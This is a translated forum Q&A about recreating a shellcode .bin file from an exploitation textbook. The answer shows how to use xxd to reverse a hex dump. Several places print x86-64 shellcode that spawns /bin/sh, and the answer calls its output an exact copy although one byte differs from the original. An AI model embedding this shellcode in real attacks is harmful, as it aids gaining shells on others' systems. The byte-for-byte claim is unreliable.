制作.bin文件

Making .bin File

这可能是一个愚蠢的问题,但我想要一种更简单的方法来复制 Jon Erikson 在剥削艺术中使用的这种技术。他在其中填充了一个 .bin 文件,使用了一堆复杂的东西来查找源代码等等。

$ for i in $(head exploit_notesearch.c | grep "^\"" | cut -d\" -f2)
do
echo -en $i
done > shellcode.bin

这会生成如下文件:

hexdump -C shellcode.bin
00000000  48 31 f6 48 31 d2 48 bb  2f 62 69 6e 2f 73 68 11  |H1.H1.H./bin/sh.|
00000010  48 c1 e3 08 48 c1 eb 08  53 48 c7 c0 3b 11 11 11  |H...H...SH..;...|
00000020  48 89 e7 48 c1 e0 38 48  c1 e8 38 0f 05           |H..H..8H..8..|
0000002d
cat shellcode.bin
H1�H1�H�/bin/shH�H�SH��;H��H��8H��8

我不知道如何复制这个巫术,如何使用不同的命令制作一个精确的复制品?我试过了

cat > new.bin
x48x31xf6x48x31xd2x48xbbx2fx62x69x6ex2fx73x68x11x48xc1xe3x08x48xc1xe3x08x53x48xc7xc0x3bx11x11x11x48x89xe7x48xc1xe0x38x48xc1xe8x38x0fx05

cat new.bin
x48x31xf6x48x31xd2x48xbbx2fx62x69x6ex2fx73x68x11x48xc1xe3x08x48xc1xe3x08x53x48xc7xc0x3bx11x11x11x48x89xe7x48xc1xe0x38x48xc1xe8x38x0fx05

hexdump -C new.bin
00000000  78 34 38 78 33 31 78 66  36 78 34 38 78 33 31 78  |x48x31xf6x48x31x|
00000010  64 32 78 34 38 78 62 62  78 32 66 78 36 32 78 36  |d2x48xbbx2fx62x6|
00000020  39 78 36 65 78 32 66 78  37 33 78 36 38 78 31 31  |9x6ex2fx73x68x11|
00000030  78 34 38 78 63 31 78 65  33 78 30 38 78 34 38 78  |x48xc1xe3x08x48x|
00000040  63 31 78 65 33 78 30 38  78 35 33 78 34 38 78 63  |c1xe3x08x53x48xc|
00000050  37 78 63 30 78 33 62 78  31 31 78 31 31 78 31 31  |7xc0x3bx11x11x11|
00000060  78 34 38 78 38 39 78 65  37 78 34 38 78 63 31 78  |x48x89xe7x48xc1x|
00000070  65 30 78 33 38 78 34 38  78 63 31 78 65 38 78 33  |e0x38x48xc1xe8x3|
00000080  38 78 30 66 78 30 35 0a                           |8x0fx05.|
00000088

我几乎不知道怎么问这个问题,也不知道还有什么地方可以看。我很感激任何帮助。谢谢

您正在寻找的工具是xxd,它通常用于获取二进制文件的十六进制转储,但也可用于执行反向十六进制转储,这就是您正在尝试的要做。

将您的 ascii 十六进制放入名为 Input.txt 的文件中,不包含任何 x

4831f64831d248bb2f62696e2f73681148c1e30848c1e3085348c7c03b1111114889e748c1e03848c1e8380f05

接下来,运行 xxd 标记 -p 表示普通,-r 表示反向。

xxd -r -p Input.txt Output.bin

现在,所需的输出应该在 Output.bin

hexdump -C Output.bin 
00000000  48 31 f6 48 31 d2 48 bb  2f 62 69 6e 2f 73 68 11  |H1.H1.H./bin/sh.|
00000010  48 c1 e3 08 48 c1 e3 08  53 48 c7 c0 3b 11 11 11  |H...H...SH..;...|
00000020  48 89 e7 48 c1 e0 38 48  c1 e8 38 0f 05           |H..H..8H..8..|
0000002d